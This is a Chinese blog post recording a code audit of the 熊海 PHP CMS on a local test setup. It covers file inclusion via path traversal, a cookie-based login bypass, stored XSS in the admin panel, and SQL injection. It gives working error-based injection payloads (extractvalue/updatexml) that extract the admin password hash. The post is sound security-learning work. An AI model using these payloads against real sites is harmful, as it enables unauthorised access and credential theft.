前言:也算是第一次代码审计,肯定有很多地方会比较的生疏,也有很多地方不能注意到,所以希望大家也多给建议。

审计准备

我自己安装了phpstudy,然后用phpstudy的环境,来运行熊海的源码。
在这里插入图片描述
我们用Seay源代码审计系统先来扫一遍,看看有什么漏洞
在这里插入图片描述
扫到的漏洞还挺多的,但是很多都是误报,所以我们一个个去看过来。

文件包含漏洞

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

在这里插入图片描述
用GET传入值r,用了addslashes函数实现了转义,但是没有其他过滤,显然是不行的,这里可以实现文件上传漏洞。
在这里插入图片描述
我们在file目录下,创建一个phpinfo.php文件,可以直接文件包含到。或者在根目录下创建一个phpinfo.php文件,通过目录穿越,包含到根目录下。
文件里面的代码为

<?php phpinfo();?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们的payload为:

?r=phpinfo //包含files文件夹下的phpinfo()
?r=../phpinfo  //包含根目录的phpinfo()

同理这个/admin/index.php也是一样的文件包含漏洞
在这里插入图片描述

逻辑越权漏洞

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;	
}
?>

在这里插入图片描述
我们可以看到这段代码,如果$user的值为空,我们就会跳转到登陆界面。
在这里插入图片描述
但是如果我随便给这个 $user赋值的话,都能够跳过登陆界面,实现逻辑越权。
在这里插入图片描述
额外补充:header() 函数
当浏览器接受到头信息中的 Location: xxxx 后,就会自动跳转到 xxxx 指向的URL地址,这点有点类似用 js 写跳转。但是这个跳转只有浏览器知道,不管体内容里有没有东西,用户都看不到。

XSS漏洞

这个漏洞在很多地方都有体现,基本上后台的所有可以接收参数的地方都有这个漏洞。在接收参数时,没有使用相关的xss防御函数,可导致xss直接插入数据库。
后台的这几个php代码,传参进去基本上都可以实现XSS漏洞
在这里插入图片描述
我们来测试一下,先测试发布内容这一块,我们写了xss执行语句
在这里插入图片描述
报错了但是也是成功执行了
在这里插入图片描述
在下面的栏目管理这一块写入代码也是一样的执行
在这里插入图片描述

在这里插入图片描述

SQL注入

(1)admin/files/adset.php
有addslashes转义了,属于误报,除非数据库编码与PHP编码设置有问题,导致可以宽字节注入(类似的误报下面就不写了)
在这里插入图片描述
(2)admin/files/login.php
在这里插入图片描述
登录界面

  • user和password是直接获取POST传来的参数,并没有进行任何过滤
  • 先进行user的查询,如果user在数据库中存在,那么就进行password的比较,是将我们输入的password进行md5哈希一下,然后与数据库中的进行比对

所以说万能密码在这里是没有用的,但是我们却可以用报错注入得到用户名和密码

payload

user=123' or extractvalue(1,concat((select concat(0x7e,password,0x7e) from manage)))#&password=
或者
user=123' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0)#&password=

但是这里有一点比较坑的是,这里注出来的password最多只有27位,但是数据库存的是password的MD5值,有32位,所以说得到的md5是不对的,需要进行两次注入才能得到完整的密码,以extractvalue()函数为例:

user=123' or extractvalue(1,concat((select concat(0x7e,password) from manage)))#&password=
user=123' or extractvalue(1,concat((select concat(password,0x7e) from manage)))#&password=

在这里插入图片描述
在这里插入图片描述

Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐